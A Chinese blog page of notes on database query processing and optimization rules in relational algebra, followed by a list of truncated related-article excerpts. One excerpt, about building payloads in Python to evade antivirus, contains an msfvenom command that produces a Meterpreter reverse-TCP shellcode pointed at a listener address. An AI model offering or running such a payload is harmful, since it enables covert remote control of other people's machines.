數據庫技術基礎:查詢優化相關知識筆記

? ? ? ?

1、查詢優化的基本概念

1.1 查詢處理

查詢處理是指從數據庫中提取數據的一系列活動。主要包括:將高級數據庫查詢語句翻譯成文件系統這一物理 層次的表達式,為優化查詢進行各種轉換以及查詢的實際執行。

1.2 查詢處理的代價

查詢處理的代價通常由磁盤的訪問,因為磁盤訪問比內存訪問速度慢很多。磁盤的訪問次數對查詢策略的好壞影響很大,有時候甚至會差幾個數量級。

1.3 查詢優化

查詢優化是為了查詢能夠選擇最有效的查詢計劃。查詢優化涉及關系代數級優化(盡可能找到與給定表達式等價、執行效率更高的表達式)、查詢語句處理的詳細策略的選擇。

查詢優化的關鍵是找到一個與之等價的且操作時間又少的表達式。

2、關系代數表達式中的查詢優化

優化準則

1.盡早執行選取運算:對于有選擇運算的表達式,應優化成先執行選擇運算的等價表達式,從而取得較小的中間結果,減少運算量和從外存讀塊的次數。

2.合并乘積與其后的選擇運算為連接運算:避免乘積運算后,再掃描一個大的乘積關系進行選擇運算。

3.將投影運算和后面的其他運算同時進行,避免重復掃描關系

4.將投影運算和其前后的二目運算結合起來。避免一些沒必要的字段再掃描一遍關系。

5.在執行連接前對關系適當地預處理,就可以快速找到要連接的元素。方法:索引連接法、排序合并連接法。

6.存儲公共表達式。對于有公共表達式的結果應存于外存。可以節約操作時間。

IT技術分享社區

個人博客網站:https://programmerblog.xyz

文章推薦程序員效率:畫流程圖常用的工具程序員效率:整理常用的在線筆記軟件遠程辦公:常用的遠程協助軟件,你都知道嗎?51單片機程序下載、ISP及串口基礎知識硬件:斷路器、接觸器、繼電器基礎知識

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271269.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271269.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271269.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

設計模式----解釋器模式

一、簡介 解釋器模式使用頻率并不高,通常用來構建一個簡單語言的語法解釋器,它只在一些非常特定的領域被用到,比如編譯器、規則引擎、正則表達式、sql解析等。 解釋器模式是行為型設計模式之一,它的原始定義為:用于定義…

HTML學習筆記16——尺寸的表示_px、%、em三種

1.像素表示: 23px 2.子像素可以用百分比表示其大小,如50%,表示為父元素的一半 如果塊狀子元素的寬度不指定,默認是占滿父元素的寬度; 3.用em表示字體大小時,表示相對大小,是與父元素的比值&…

mysql索引是自動使用嗎_mysql索引是自動使用嗎?

MYSQL在創建索引后對索引的使用方式分為兩種:其一,由數據庫的查詢優化器自動判斷是否使用索引;其二,用戶可在寫SQL語句時強制使用索引。MYSQL在創建索引后對索引的使用方式分為兩種:1 由數據庫的查詢優化器自動判斷是否…

mac idea配置配置自動清除類中無用的import包

1:mac快捷鍵清包 control option o windows快捷鍵 Ctrl Alt O 2:打開Perferences ---> Editor --->Auto Imort 在下圖選中方方框中勾上

關系數據庫基礎:函數依賴知識筆記

1、函數依賴的定義設R(U)是屬性集U.上的關系模式,X, Y是U的子集。若對于R(U)的任意一個可能的關系r,r中不可能存在兩個元組在X集合上的屬性值相等,而在Y上的屬性值不等,則稱X函數確定Y或Y函數依賴于X,記作X→Y。理解:X,Y為兩個集合…

pythonspark實例_spark+python快速入門實戰小例子(PySpark)

1、集群測試實例 代碼如下: from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL數據庫。按年,月,日查詢

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2轉載于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基礎教程知識點

第 1 部分 Spark 基礎 Spark 概述 本章介紹 Spark 的一些基本認識. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一個快速(基于內存), 通用, 可擴展的集群計算引擎 并且 Spark 目前已經成為 Apache 最活躍的開源項目, 有超過 1000 個活躍的貢獻者. 歷史 2009 年…

關系數據庫理論:數據庫的六大范式知識筆記

1、數據庫范式的作用數據庫范式主要是為解決關系數據庫中數據冗余、更新異常、插入異常、刪除異常問題而引入的設計理念。簡單來說&#xff0c;數據庫范式可以避免數據冗余&#xff0c;減少數據庫的存儲空間&#xff0c;并且減輕維護數據完整性的成本。是關系數據庫核心的技術之…

python 生成payload_利用Python進行Payload分離免殺

缺點&#xff1a;編譯成exe以后體積過大實現&#xff1a;msf生成shellcode代碼&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c將payload給copy下來&#xff0c;去除引號。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初識docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日頭條的首秀&#xff0c;我的英文名來源于jack ma&#xff0c;馬云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像馬云一樣富有、成功&#xff0c;另外我名字中的杰與jack也是諧音關系。今天給大家帶來…

H5基礎標簽

一、字體標簽 1.text-indent&#xff1a;首行縮進 2.text-decoration&#xff1a;文本修飾&#xff08;text-decoration&#xff1a;none;除去文字的下劃線&#xff1b;text-decoration&#xff1a;line-through&#xff1b;文字上加刪除線&#xff09; 3.letter-spacing&#…

SQL語言基礎:數據庫語言概念介紹

1、概念介紹SQL&#xff08;Structured Query Lanauage&#xff09;結構化查詢語言是關系數據庫中最普遍使用的語言。主要包括查詢、數據操縱、數據定義、數據控制功能&#xff0c;是一種通用的、功能強大的關系數據庫的標準語言。2、SQL語言分類2.1 數據庫定義語言&#xff08…

configuration 命名空間_kubernetes30:monitoring命名空間處于Terminating狀態的處理方法...

刪除monitoring命名空間時總也無法徹底刪除&#xff0c;發現monitoring處于Terminating狀態&#xff0c;故有此文。kubectl get namespaces -o wide解決&#xff1a;嘗試使用force delete。kubectl delete namespace monitoring --force --grace-period0發現強制刪除沒有成功。…

SQL語言基礎:SQL語言概念知識筆記

1、SQL標準ANSI&#xff08;美國國家標準機構&#xff09;SQL對ANSI SQL進行修改后在1992年采用的標準SQL-92或SQL2SQL-99或SQL3標準從SQL2擴充而來&#xff0c;增加了對象關系特征和許多其他新的功能。最近的標準版本是SQL&#xff1a;20032、SQL的特點綜合統一&#xff1a;SQ…

重定向與轉發

使用重定向方法sendRedirect()將用戶重新定向到一個JSP頁面或另一個Servlet。 RequestDispatcher對象調用void forward(ServletRequest request,ServletResponse response) 方法可以將用戶對當前JSP頁面或Servlet的請求轉發給RequestDispatcher對象所指定的JSP頁面或Servlet。 …

ubuntu mysql 內存滿了_Ubuntu mysql可以把data防止到內存盤中

作者&#xff1a;李祥敬2010-03-04/17:57Ubuntu mysql對于電腦使用的玩家的常用軟件&#xff0c;然后我就學習及深入的研究Ubuntu mysql&#xff0c;在這里和大家一起探討Ubuntu mysql的使用方法&#xff0c;希望對大家有用。1、如果Ubuntu mysql的data數據很少&#xff0c;內存…

原型(Prototype)的場景是不支持循環依賴的

原型(Prototype)的場景是不支持循環依賴的&#xff0c;通常會走到AbstractBeanFactory類中下面的判斷&#xff0c;拋出異常。

網絡工程中,VLAN到底有什么作用?

什么是VLAN呢&#xff1f;VLAN&#xff08;Virtual Local Area Network&#xff09;即虛擬局域網&#xff0c;是將一個物理的LAN在邏輯上劃分成多個廣播域的通信技術。在IEEE802.1Internetworking委員會結束了對VLAN初期標準的修訂工作的時候。新出臺的標準進一步完善了VLAN的體…

java的decode_Java decode機試題

/**** java編寫encode方法和decode方法&#xff0c;機試題 請你用java&#xff0c;c&#xff0c;c* 中任何一種語言實現兩個函數encode()和decode()&#xff0c;分別實現對字符串的變換和復原。* 變換函數encode()順序考察以知字符串的字符&#xff0c;按以下規則逐組生成新字符…